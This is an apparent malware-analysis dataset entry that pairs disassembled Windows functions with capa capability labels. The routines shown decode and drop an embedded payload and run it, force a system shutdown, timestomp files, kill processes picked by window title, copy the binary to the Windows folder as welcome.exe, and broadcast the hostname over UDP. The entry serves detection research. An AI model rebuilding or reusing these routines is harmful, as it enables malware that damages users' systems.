joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017c5
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
lea eax, [ebp - 0xb0]
push esi
push eax
mov dword [ebp - 0xb0], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
xor esi, esi
cmp dword [ebp - 0xa0], 2
jne 0x40183f
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea ecx, [ebp - 4]
push ecx
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1c], 1
push eax
push str.SeShutdownPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0xc]
push esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push esi
lea eax, [ebp - 0x1c]
push esi
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp dword [ebp + 8], esi
push esi
je 0x401849
push 6
jmp 0x40184b
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop esi
leave
ret 4
Function at 0x4019ea
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
call section..text
test eax, eax
je 0x401ba7
push 0x40e448
call fcn.0040107c
test eax, eax
je 0x401ba7
xor esi, esi
push esi
push esi
push esi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 0xc]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x401ba7
push dword [0x40e454]
push esi
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
push dword [0x40e454]
mov edi, eax
mov dword [ebp - 8], edi
push esi
push edi
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x401a94
push edi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
jmp 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 0x10]
call edi
push dword [ebp - 8]
test eax, eax
je 0x401a89
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push esi
push 0x80
push 3
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x401ab8
mov ebx, dword [sym.imp.KERNEL32.DLL_GetFileSize]
push esi
push eax
call ebx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push esi
push eax
push esi
push dword [ebp - 0xc]
call ebx
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x401b0e
push dword [ebp - 8]
jmp 0x401a89
mov eax, dword [ebp - 4]
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 4]
mov ebx, dword [ebp - 0x10]
push esi
push eax
push dword [ebp - 0x14]
push dword [ebp - 8]
push ebx
call edi
push dword [ebp - 8]
test eax, eax
je 0x401a89
call dword [sym.imp.KERNEL32.DLL_LocalFree]
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x14]
push 4
push eax
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x18]
push 4
push eax
push ebx
mov dword [ebp - 0x18], esi
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push 4
push 0x40e454
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push 2
push 0x40b200
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 0x1c]
push eax
call fcn.00403db6
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x1c]
push 4
push eax
push ebx
call edi
test eax, eax
jne 0x401bab
xor eax, eax
jmp 0x401bc0
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + 8]
push dword [ebp + 0xc]
call fcn.00401ff3
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x401bc7
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call section..text
test eax, eax
je 0x401d9c
push 0x40e448
call fcn.0040107c
test eax, eax
je 0x401d9c
xor esi, esi
push esi
push esi
push esi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x401d9c
push dword [0x40e454]
push esi
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
push dword [0x40e454]
mov ebx, eax
push esi
push ebx
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push ebx
push dword [0x40e450]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x401c6c
push ebx
call dword [sym.imp.KERNEL32.DLL_LocalFree]
jmp 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [0x40e454]
push ebx
push dword [ebp - 0xc]
call edi
test eax, eax
push ebx
je 0x401c61
mov ebx, dword [sym.imp.KERNEL32.DLL_LocalFree]
call ebx
push esi
push 0x80
push 3
push esi
push 1
push accept
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x401d9c
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov dword [ebp + 0xc], eax
lea eax, [ebp - 4]
push esi
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x401cf2
push dword [ebp + 0xc]
call ebx
jmp 0x401d9c
mov eax, dword [ebp - 4]
push dword [ebp + 8]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor ecx, ecx
cmp dword [ebp - 8], esi
jbe 0x401d16
mov eax, dword [ebp + 0xc]
add eax, ecx
xor byte [eax], 0x17
inc ecx
cmp ecx, dword [ebp - 8]
jb 0x401d08
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x10]
push 4
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x10], esi
call edi
test eax, eax
je 0x401ce8
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call edi
push dword [ebp + 0xc]
test eax, eax
je 0x401ceb
call ebx
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 8]
push 4
push eax
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
push 4
push 0x40e454
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
push 2
push 0x40b200
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 0x14]
push eax
call fcn.00403db6
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x14]
push 4
push eax
push ebx
call edi
test eax, eax
jne 0x401da0
xor eax, eax
jmp 0x401daa
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x401db1
Capabilities:
Create process on windows
Delete file
Encode data using xor
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
push ebx
push esi
push edi
xor esi, esi
push dword [0x40e460]
push esi
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
push esi
push esi
push dword [0x40e464]
mov edi, eax
mov dword [ebp - 4], edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea eax, [ebp - 8]
push esi
push eax
push dword [0x40e460]
push edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
xor eax, eax
cmp dword [0x40e460], esi
jbe 0x401e14
xor byte [eax + edi], 0x17
inc eax
cmp eax, dword [0x40e460]
jb 0x401e07
push 0x100
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00403e00
mov edi, 0x200
lea eax, [ebp - 0x308]
push edi
push esi
push eax
call fcn.00403e00
add esp, 0x18
lea eax, [ebp - 0x308]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x401f70
lea eax, [ebp - 0x108]
push 0x40d100
push eax
call fcn.00404360
lea eax, [ebp - 0x308]
push eax
call fcn.004041a0
add esp, 0xc
mov ebx, eax
dec ebx
je 0x401ebe
cmp byte [ebp + ebx - 0x308], 0x5c
jne 0x401e75
lea eax, [ebp - 0x308]
push eax
call fcn.004041a0
push 0xfffffffffffffffd
pop ecx
sub ecx, ebx
add eax, ecx
push eax
lea eax, [ebp + ebx - 0x308]
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.00403e60
lea eax, [ebp - 0x108]
push 0x40d0fc
push eax
call fcn.00404360
add esp, 0x18
push esi
push 0x80
push 2
push esi
push 1
lea eax, [ebp - 0x108]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401f70
lea eax, [ebp - 8]
push esi
push eax
push dword [0x40e460]
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x401f70
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push edi
lea eax, [ebp - 0x508]
push esi
push eax
call fcn.00403e00
lea eax, [ebp - 0x508]
push str.notepad
push eax
call fcn.00404360
add esp, 0x14
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x508]
push eax
call fcn.004041a0
pop ecx
lea eax, [ebp + eax - 0x508]
push eax
call fcn.00404360
pop ecx
lea eax, [ebp - 0x508]
pop ecx
push 5
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f75
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push dword [ebp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
push esi
push esi
push dword [ebp + 0x20]
mov edi, eax
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 0x1c]
push edi
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401fec
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 0x1c]
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x401fec
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
pop edi
pop esi
pop ebx
leave
ret 0x2c

Function at 0x401ff3
Capabilities:
Get file size

Disassembly:
push ebx
push esi
xor esi, esi
push edi
mov eax, dword [esp + 0x14]
push esi
push 0x80
push 3
push esi
push 1
push 0xc0000000
mov dword [0x40e024], eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402080
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push esi
push eax
push esi
push 4
push esi
push ebx
mov dword [0x40e030], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
mov edi, eax
cmp edi, esi
jne 0x40204b
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x402080
push esi
push esi
push esi
push 0xf001f
push edi
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
cmp eax, esi
mov dword [0x40e02c], eax
je 0x402074
call fcn.00402086
push dword [0x40e02c]
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
call esi
push ebx
call esi
pop edi
pop esi
pop ebx
ret 8
Function at 0x402086
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_FindResourceA]
push 0xe
xor ebp, ebp
push 0x65
push ebp
call edi
mov ebx, dword [sym.imp.KERNEL32.DLL_LoadResource]
mov esi, eax
push esi
push ebp
call ebx
push esi
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov dword [esp + 0x18], eax
call ebp
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.DLL_LockResource]
test esi, esi
mov dword [esp + 0x28], eax
je 0x40218d
and dword [esp + 0x1c], 0
cmp word [eax + 4], 0
jbe 0x40218d
add eax, 0x12
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
push 3
movzx eax, word [eax]
push eax
push 0
call edi
mov esi, eax
push esi
push 0
call ebx
push esi
push 0
mov dword [esp + 0x18], eax
call ebp
push dword [esp + 0x10]
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ecx, dword [0x40e030]
and dword [esp + 0x10], 0
sub ecx, dword [esp + 0x14]
mov dword [esp + 0x24], eax
je 0x402172
xor esi, esi
cmp dword [esp + 0x14], esi
jbe 0x402152
mov eax, dword [0x40e02c]
mov edx, dword [esp + 0x10]
add eax, edx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov al, byte [eax + esi]
cmp al, byte [esi + edx]
jne 0x402152
inc esi
cmp esi, dword [esp + 0x14]
jb 0x40213b
cmp esi, dword [esp + 0x14]
je 0x402164
inc dword [esp + 0x10]
cmp dword [esp + 0x10], ecx
jb 0x402124
jmp 0x402172
mov eax, dword [esp + 0x10]
mov dword [0x40e028], eax
call fcn.00402195
mov eax, dword [esp + 0x28]
inc dword [esp + 0x1c]
add dword [esp + 0x18], 0x10
movzx eax, word [eax + 4]
cmp dword [esp + 0x1c], eax
jl 0x4020e3
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x402288
Capabilities:
Copy file
Delete file
Get common file path
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.004024c1
push eax
jmp loc.00414000
Function at 0x402694
Capabilities:
Get hostname
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.00403e00
mov eax, 0xff
mov byte [ebp - 0x154], 0x67
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 0x153]
push ebx
push eax
call fcn.00403e00
add esp, 0x18
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x153]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
mov esi, 0x40d138
lea eax, [ebp - 0x153]
push esi
push eax
call fcn.00404360
push esi
call fcn.004041a0
mov ecx, dword [ebp - 4]
add esp, 0xc
lea eax, [ecx + eax + 1]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x54]
push eax
push str.255.255.255.0
call fcn.004027f0
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
lea eax, [ebp - 0x54]
push eax
call esi
mov edi, dword [sym.imp.WS2_32.dll_htons]
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_sendto]
push dword [ebp - 4]
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 8]
call ebx
push 0x40
lea eax, [ebp - 0x54]
push 0
push eax
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push str.255.255.0.0
call fcn.004027f0
lea eax, [ebp - 0x54]
push eax
call esi
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
push dword [ebp - 4]
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 8]
call ebx
push 0x40
lea eax, [ebp - 0x54]
push 0
push eax
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push str.255.0.0.0
call fcn.004027f0
lea eax, [ebp - 0x54]
push eax
call esi
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
lea eax, [ebp - 0x154]
push dword [ebp - 4]
push eax
push dword [ebp + 8]
call ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x402977
Capabilities:
Get hostname
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push ebx
push esi
push edi
push 1
pop edi
xor esi, esi
push edi
push 2
push esi
call fcn.00401538
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402a3e
mov dword [ebp - 0x194], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], 4
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x190], ebx
add edi, 0x7f
push 0x7f
lea eax, [ebp - 0x8f]
push esi
push eax
mov byte [ebp - 0x90], 0x6f
mov dword [ebp - 8], edi
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x8f]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
lea eax, [ebp + 8]
push 0x10
push eax
mov eax, dword [ebp - 8]
inc eax
push esi
push eax
lea eax, [ebp - 0x90]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_sendto]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x194]
push esi
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x402a37
cmp eax, esi
jne 0x402a27
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x4029b8
jmp 0x402a37
push esi
lea eax, [ebp - 0x90]
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x402c7f
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x14]
push ebx
push esi
push edi
xor edi, edi
cmp eax, dword [ebp + 0x10]
jg 0x402cc5
mov ebx, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_recv]
push edi
push eax
push ebx
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
je 0x402cc5
test eax, eax
je 0x402cc5
add edi, eax
cmp edi, dword [ebp + 0x14]
jge 0x402cc1
mov eax, dword [ebp + 0x14]
push 0
sub eax, edi
push eax
lea eax, [edi + ebx]
push eax
push dword [ebp + 8]
jmp 0x402c9e
mov eax, edi
jmp 0x402cc8
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x402ccf
Capabilities:
Create thread

Disassembly:
xor eax, eax
cmp dword [0x40e078], eax
jne 0x402cf1
push eax
push eax
push dword [esp + 0xc]
push 0x402d0e
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x40e078], eax
ret 4

Function at 0x402cf4
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x40e078]
test eax, eax
je 0x402d06
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
and dword [0x40e078], 0
ret
Function at 0x402dec
Capabilities:
Get graphical window text
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc08
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402f96
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x400
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 8]
call fcn.004031e4
lea eax, [ebp - 0x408]
push eax
call fcn.004042a4
mov esi, 0x800
lea eax, [ebp - 0xc08]
push esi
push 0
push eax
call fcn.00403e00
add esp, 0x10
cmp dword [ebp + 0xc], 1
jne 0x402e74
lea eax, [ebp - 0xc08]
push esi
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x402e85
lea eax, [ebp - 0xc08]
push eax
push esi
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 0xc08]
push eax
call fcn.004042a4
pop ecx
push 5
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp + 8], eax
lea eax, [ebp - 0xc08]
push eax
call fcn.004041a0
test eax, eax
pop ecx
jbe 0x402ee2
xor edi, edi
cmp dword [0x40d18c], edi
jbe 0x402ee2
mov dword [ebp - 4], str.MSWDM.EXE
mov eax, dword [ebp - 4]
push dword [eax]
lea eax, [ebp - 0xc08]
push eax
call fcn.00402f9d
test eax, eax
jg 0x402f3d
add dword [ebp - 4], 4
inc edi
cmp edi, dword [0x40d18c]
jb 0x402ec0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402f96
cmp dword [ebp + 0xc], 1
jne 0x402f0a
lea eax, [ebp - 0xc08]
push esi
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x402f1b
lea eax, [ebp - 0xc08]
push eax
push esi
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 0xc08]
push eax
call fcn.004042a4
pop ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00402dec
push 2
push dword [ebp + 8]
jmp 0x402e95
xor ebx, ebx
xor esi, esi
cmp dword [0x40d1a4], ebx
jbe 0x402f6c
mov edi, 0x40d190
push dword [edi]
lea eax, [ebp - 0x408]
push eax
call fcn.00402f9d
test eax, eax
jg 0x402f96
inc esi
add edi, 4
cmp esi, dword [0x40d1a4]
jb 0x402f4e
push dword [ebp - 8]
push ebx
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp eax, ebx
je 0x402f96
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
test eax, eax
je 0x402f96
lea eax, [ebp - 0x408]
push 1
push eax
call fcn.00402ff6
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x402ff6
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
push 0x50
push ebx
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov esi, eax
push 0x50
push ebx
push esi
call fcn.00403e00
add esp, 0xc
push esi
push dword [ebp + 8]
call fcn.004030f7
test eax, eax
je 0x40304b
push esi
call fcn.004042a4
mov dword [esp], str.MICROSOFT
push eax
call fcn.00402f9d
test eax, eax
jle 0x40304b
push esi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
jmp 0x4030f0
push esi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
mov esi, 0x105
lea eax, [ebp - 0x108]
push esi
push ebx
push eax
call fcn.00403e00
push esi
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.00403e00
add esp, 0x18
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x108]
push str.welcome.exe
push eax
call fcn.00404360
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_CopyFileA]
pop ecx
lea eax, [ebp - 0x108]
push ebx
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030f0
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x3e8
call edi
push ebx
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030f0
push 0x7d0
call edi
push ebx
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030f0
cmp dword [ebp + 0xc], ebx
je 0x4030f0
push 1
call fcn.004017c5
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4030f7
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
and dword [ebp - 4], 0
push ebx
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x403148
push esi
call fcn.00404651
pop ecx
mov ebx, eax
push ebx
push esi
push 0
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x403148
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push str.VarFileInfoTranslation
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x40314f
xor eax, eax
jmp 0x4031de
push 0x80
lea eax, [ebp - 0x90]
push 0
push eax
call fcn.00403e00
add esp, 0xc
xor esi, esi
test dword [ebp - 4], 0xfffffffc
jbe 0x40319b
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
lea eax, [ebp - 0x90]
push str.StringFileInfo_04x_04xCompanyName
push eax
call fcn.004045ff
mov eax, dword [ebp - 4]
add esp, 0x10
inc esi
shr eax, 2
cmp esi, eax
jb 0x403170
push 0x50
pop esi
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x90]
push eax
push ebx
mov dword [ebp - 0x10], esi
call sub.VERSION.dll_VerQueryValueA
push 0x4f
push dword [ebp - 8]
push dword [ebp + 0xc]
call fcn.00403e60
add esp, 0xc
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push 1
pop eax
pop esi
pop ebx
leave
ret 8